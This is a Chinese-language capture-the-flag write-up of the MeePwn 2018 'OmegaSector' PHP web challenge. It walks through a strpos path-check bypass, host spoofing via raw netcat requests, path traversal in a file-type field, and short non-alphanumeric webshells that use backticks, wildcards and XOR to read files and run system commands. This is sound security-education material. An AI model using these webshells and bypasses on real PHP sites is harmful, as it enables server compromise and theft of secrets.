CTF – OmegaSector MeePwn 2018

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】
OmegaSector MeePwn 2018任务描述
Wtf!?我只想去OmegaSector,但这里有奇怪的身份验证,请帮帮我
http://138.68.228.12/
见进去之后又是熟悉的二次元风格,ORZ....
初步的信息搜集,发现网页的源码里面存在注释,注释提示了请求的参数
1 2 | <!-- is_debug=1 --> <!-- All images/medias credit goes to nexon, wizet --> |
带上参数请求地址
http://138.68.228.12/?is_debug=1
得到的网页中直接打印出了首页源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 | <?php ob_start(); session_start(); ?> <html> <style type="text/css">* { cursor: url(assets/maplcursor.cur), auto !important; }</style> <head> <link rel="stylesheet" href="assets/omega_sector.css"> <link rel="stylesheet" href="assets/tsu_effect.css"> </head> <?php ini_set("display_errors", 0); include('secret.php'); $remote = $_SERVER['REQUEST_URI']; // var_dump($remote); if (strpos(urldecode($remote), '..')) { mapl_die(); } // var_dump(!parse_url($remote, PHP_URL_HOST)); if (!parse_url($remote, PHP_URL_HOST)) { $remote = 'http://' . $_SERVER['REMOTE_ADDR'] . $_SERVER['REQUEST_URI']; } //var_dump($remote); $whoareyou = parse_url($remote, PHP_URL_HOST); //var_dump($whoareyou); if ($whoareyou === "alien.somewhere.meepwn.team") { if (!isset($_GET['alien'])) { $wrong = <<<EOF <h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2> <h1 id="main" class="shadow">Are You ALIEN??</h1> <form id="main"> <button type="submit" class="button-success" name="alien" value="Yes">Yes</button> <button type="submit" class="button-error" name="alien" value="No">No</button> </form> <img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> EOF; echo $wrong; } if (isset($_GET['alien']) and !empty($_GET['alien'])) { if ($_GET['alien'] === '@!#$@!@@') { $_SESSION['auth'] = hash('sha256', 'alien' . $salt); exit(header("Location: alien_sector.php")); } else { mapl_die(); } } } elseif ($whoareyou === "human.ludibrium.meepwn.team") { if (!isset($_GET['human'])) { echo ""; $wrong = <<<EOF <h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2> <h1 id="main" class="shadow">Are You Human?</h1> <form id="main"> <button type="submit" class="button-success" name="human" value="Yes">Yes</button> <button type="submit" class="button-error" name="human" value="No">No</button> </form> <img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> EOF; echo $wrong; } if (isset($_GET['human']) and !empty($_GET['human'])) { if ($_GET['human'] === 'Yes') { $_SESSION['auth'] = hash('sha256', 'human' . $salt); exit(header("Location: omega_sector.php")); } else { mapl_die(); } } } else { echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>'; echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />'; if (isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug'] === "1") { show_source(__FILE__); } } ?> <body background="assets/background.jpg" class="cenback"> </body> <!-- is_debug=1 --> <!-- All images/medias credit goes to nexon, wizet --> </html> <?php ob_end_flush(); ?> |
OmegaSector MeePwn 2018 代码分析
通过分析泄露的源码,可以得到一些信息
FLAG应该是藏在secret.php里面。
首页本身应该并没有途径可以直接读取FLAG,但是存在两个可以跳转的页面alien_sector.php和omega_sector.php。
仔细看下代码分支里设置了$_SESSION,跳转页面应该是验证了SESSION。
这里无法直接访问这两个地址,那么咱们就开始正常的审题做题。
首先我们看最上面的PHP代码,下面拿出其中一部分来看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | <?php …………//省略很多代码的意思。 $remote = $_SERVER['REQUEST_URI']; //111111111 if (strpos(urldecode($remote), '..')) { //222222222 mapl_die(); } if (!parse_url($remote, PHP_URL_HOST)) { $remote = 'http://' . $_SERVER['REMOTE_ADDR'] . $_SERVER['REQUEST_URI']; } …………//①①①①①① $whoareyou = parse_url($remote, PHP_URL_HOST); ………… if ($whoareyou === "alien.somewhere.meepwn.team") { …… if ($_GET['alien'] === '@!#$@!@@') { //A ………… elseif ($whoareyou === "human.ludibrium.meepwn.team") { …… if ($_GET['human'] === 'Yes') { //B |
我们先正常解题,我们先本地debug查看一下。我随便添加后缀给大家看一下。
我随便构造了一个带参数的请求,然后看一下。
这里就很简单了,变量$uri会获取网址请求“/” 包含斜杠后面所有的参数。从图片中也看到了我放入的参数。
继续,就到了第一个判断。urldecode($remote) 是针对请求进行解码, 解码之后通过strpos提取这个变量里面的"..",通过判断这个".."出现的位置,如果为真则退出程序。
这里出现了第一个知识点:strpos 如果用这个函数提取某个字符出现位置,它会返回第一次出现的位置。(我自己写程序的时候就发现过用这个函数做判断会出现的问题,所以看到这个函数做判断冷了一下。)如果strpos提取的字符出现在开头,那么它返回的值就是零,那么零在IF判断里面是假,所以直接会掠过。那么咱们可以尝试构造..开头的url地址。
这里给出过关答案一:
echo -ne 'GET [email protected]/..//index.php?alien=%40!%23%24%40!%40%40 HTTP/1.1\r\nHost: 138.68.228.12\r\nConnection: close\r\n\r\n' | nc 138.68.228.12 80
##原理可参考:https://woj.app/4053.html
这个答案的原理利用了一些URL知识。
过这一关的答案二:
##进入alien_sector.php
echo -ne 'GET http://alien.somewhere.meepwn.team?alien=%40%21%23%24%40%21%40%40 HTTP/1.1\r\nHost: 138.68.228.12\r\nConnection: close\r\n\r\n' | nc 138.68.228.12 80
##进入omega_sector.php
echo -ne 'GET http://human.ludibrium.meepwn.team?human=YES HTTP/1.1\r\nHost: 138.68.228.12\r\nConnection: close\r\n\r\n' | nc 138.68.228.12 80
这个答案的原理利用了host攻击。
-----------下面这个是必要条件。否则无法解题---------
咱们先看我标注的①下面。
首先,必须是 http://alien.somewhere.meepwn.team/?alien=@!#$@!@@ 这个链接可以进入A判断内
其次,若是 http://human.ludibrium.meepwn.team/?human=Yes 这个链接可以进入B判断内
进入这两个任意一个判断内,才可正确解题。
-------------------------------------------------
----------------进入这题的第二部分----------------
进去后可以发现两个页面均有表单,可以用做文件写入,提交后会有两个参数message和type。
message是文件写入的内容,type是文件写入的后缀名。
两个页面对message的长度进行了限制,不能超过40个字符,然后就是type这个后缀名还可以用来跨目录。
alien_sector.php这个页面提交的message内容限制为非数字和字母的字符,也就是外星语,2333.........
omega_sector.php这个页面提交的message内容限制为数字和字母,人话........
获取FLAG
这两个功能中,选择使用alien_sector.php这个外星人模块进行看起来更简单
毕竟使用非数字,字母的Webshell还是比较常见的,更容易突破限制。
1 2 3 4 5 | <form action="alien_sector.php" method="POST"> <textarea class="shadow" id="main" name="message"></textarea> <input type='text' name='type' value='alien' hidden /> <button type="submit" id="button"><div class="alien_language">Save</div></button> </form> |
php标签
php的标签<?php存在字母肯定不行,尝试<?发现不解析,没有开启段标签。
很蛋疼,卡了好久,查资料后发现<?=可以作为php标签。<?=的含义为<?php echo,是PHP 5.4.0以后的新特性
不管是否设置 short_open_tag php.ini 选项,<?= 将总是可用。
http://php.net/manual/zh/migration54.new-features.php
使用代码<?=$_='$$$';测试,成功输出$$$,引入php标签的问题就解决了,ORZ.....
通配符
因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。
这里可以使用php中可以执行命令的反引号` ` 和Linux下面的通配符?
通配符
因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。
这里可以使用php中可以执行命令的反引号` ` 和Linux下面的通配符?
? 代表匹配一个字符
cat ../secret.php>@#$ === /bin/cat ../secret.php>@#$,两者等价
然后将字母处全部换上通配符,/???/??? ../???.???>@#$。
最后我们加上php标签和反引号得到Payload如下
1 | <?=$_=`/???/??? ../??????.???>@#$`; |
发送请求如下,得到执行命令的alien_message/rain.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | POST /alien_sector.php HTTP/1.1 Host: 138.68.228.12 Content-Length: 61 Cache-Control: max-age=0 Origin: http://138.68.228.12 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://138.68.228.12/alien_sector.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=752fs9v4lo6qburqi2urksdeg1 Connection: close message=<?=$_=`/???/??? ../??????.???>~!@`;&type=/../rain.php |
再访问rain.php,得到重定向的文件~!@。
下载~!@后得到FlagMeePwnCTF{__133-221-333-123-111___}
PS:看了下dalao,发现异或的Webshell也是可以,不用逐个字符串异或拼接,连载一起也可以
1 2 3 4 5 6 7 | <?=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // equivalent to $_GET[_]($_GET[__]); <?=$_='$<>/'^'{{{{';${$_}[_](${$_}[__]); // $_= '$<>/' ^ '{{{{' ----> $_ = '_GET' // ${_GET}[_](${_GET})[__]; // final <?=$_GET[_]($_GET[__]) |
And then after visiting the URL
http://138.68.228.12/alien_message/super_secret_shell.php?_=system&__=rgrep MeePwn /var/www/
we see the flag: MeePwnCTF{133-221-333-123-111_}
这里涉及到了php异或方面的知识。 附加解密编码:http://ld8.me/jjm/
1 2 3 4 5 6 7 8 | ##After the competition me and @Jelle.V.D golfed a little and managed to get much shorter payloads! //21 bytes (full shell via ?_=rgrep /var/www MeePwn) <?=`{${~"����"}[_]}`; // echo -ne '<?=`{${~"\xa0\xb8\xba\xab"}[_]}`;' //19 bytes (cat all files from ../) <?=`/???/??? ../*`; |



布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏